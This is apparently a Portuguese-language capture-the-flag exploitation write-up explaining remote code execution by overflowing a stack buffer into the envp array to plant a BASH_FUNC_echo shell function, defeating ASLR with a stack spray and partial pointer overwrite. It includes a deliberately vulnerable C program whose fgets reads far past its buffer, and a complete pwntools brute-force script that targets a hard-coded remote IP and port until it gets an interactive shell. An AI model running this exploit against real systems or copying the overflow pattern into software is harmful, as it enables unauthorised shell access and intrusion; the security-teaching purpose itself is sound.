Exploração de RCE através da Sobrescrita de Variáveis de Ambiente na Pilha

Uma técnica avançada de exploração de binários envolve o controle do copmortamento da função system() através da manipulação de variáveis de ambiente (envp) localizadas na pilha (stack). Quando um programa inicia, o layout da memória coloca o array envp acima do frame da função main. Este array contém ponteiros para strings que definem o ambiente do processo, terminando com um ponteiro NULL.

Em cenários onde há um transbordamento de buffer (buffer overflow) substancial, é possível sobrescrever não apenas o endereço de retorno, mas também os ponteiros do array envp. Ao fazer isso, podemos injetar definições de funções Bash maliciosas que serão executadas quando o programa invocar comandos simples via system().

Aálise do Layout da Pilha

Para explorar essa vulnerabilidade, primeiro precisamos entender a distância exata entre o buffer vulnerável e o início do array de ambiente. Podemos utilizar um código de diagnóstico para mapear esses endereços em um ambiente controlado, garantindo que não alteramos a estrutura da pilha com variáveis locais desnecessárias:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv, char **envp) {
    char entrada[0x10000];
    
    // Diagnóstico de endereçamento
    printf("Endereço do Buffer: %p\n", (void*)entrada);
    printf("Endereço do Envp:   %p\n", (void*)envp);
    printf("Distância (Offset): %ld\n", (long)envp - (long)entrada);

    if (fgets(entrada, 0x100000, stdin) != NULL) {
        system("echo Processando dados...");
    }
    
    return 0;
}

Neste exemplo, observamos que a distância entre o buffer e o ponteiro de ambiente permanece constante (por exemplo, 65864 bytes), apesar do ASLR (Address Space Layout Randomization) alterar os endereços absolutos.

Estratégia de Exploração e Bypass de ASLR

O objetivo é fazer com que envp[0] aponte para uma string maliciosa do tipo BASH_FUNC_echo%%=() { /bin/sh; }. Se o binário chamar system("echo ..."), o shell executará nossa versão injetada da função echo, resultando em execução remota de código (RCE).

O desafio surge com o ASLR: não sabemos o endereço exato da nossa string na pilha. Para mitigar isso, utilizamos duas táticas combinadas:

  1. Heap Spraying na Pilha: Preenchemos o espaço entre o buffer e o envp com múltiplas cópias da nossa string maliciosa.
  2. Sobrescrita Parcial de Ponteiro: Em vez de tentar adivinhar o endereço completo de 64 bits, sobrescrevemos apenas os bytes menos significativos do ponteiro original em envp[0]. Como o ponteiro original já aponta para a região de ambiente na pilha, alterá-lo para um valor baixo o redirecionará para uma área anterior que agora controlamos com nosso "spray".

Devido ao comportamento do fgets, que adiciona um caractere de nova linha (\n ou 0x0a) e um terminador nulo (\x00), podemos alinhar o payload para que o ponteiro envp[0] termine em 0x0a00, aumentando drasticamente as chances de sucesso após algumas tentativas.

Desenvolvimento do Exploit

O script abaixo automatiza o processo de "brute-force" contra a aleatorização da pilha, enviando o payload repetidamente até obter um shell inetrativo.

from pwn import *

def disparar_exploit():
    host = '154.94.237.159'
    porta = 34901
    
    # Payload que define a função maliciosa no Bash
    payload_cmd = b"BASH_FUNC_echo%%=() { /bin/sh; }\x00"
    OFFSET_ENVP = 65864 
    
    try:
        sessao = remote(host, porta, timeout=1)
        
        # Construção do payload: Spray de strings maliciosas seguido do ajuste do ponteiro
        buffer_fill = (payload_cmd) * (OFFSET_ENVP // len(payload_cmd))
        payload_final = buffer_fill.ljust(OFFSET_ENVP, b'\x00')
        
        # A sobrescrita parcial ocorre aqui via comportamento do fgets (\n\0)
        sessao.sendline(payload_final)
        
        # Verificação de persistência
        sessao.sendline(b'whoami')
        validacao = sessao.recv(timeout=1)
        
        if validacao:
            print("[+] Sucesso! Shell obtido.")
            sessao.interactive()
        sessao.close()
        
    except (EOFError, PwnlibException):
        pass

if __name__ == "__main__":
    print("[*] Iniciando tentativas de sobrescrita parcial...")
    while True:
        disparar_exploit()

Ao executar o comando system() no servidor, o interpretador Bash processa as variáveis de ambiente. Ao encontrar a definição BASH_FUNC_echo%%, ele a importa como uma função. Quando o comando echo interno é chamado, nossa função assume o controle, desviando o fluxo de execução para /bin/sh.

Tags: pwn buffer-overflow aslr RCE linux-security

Publicado em 7-28 18:16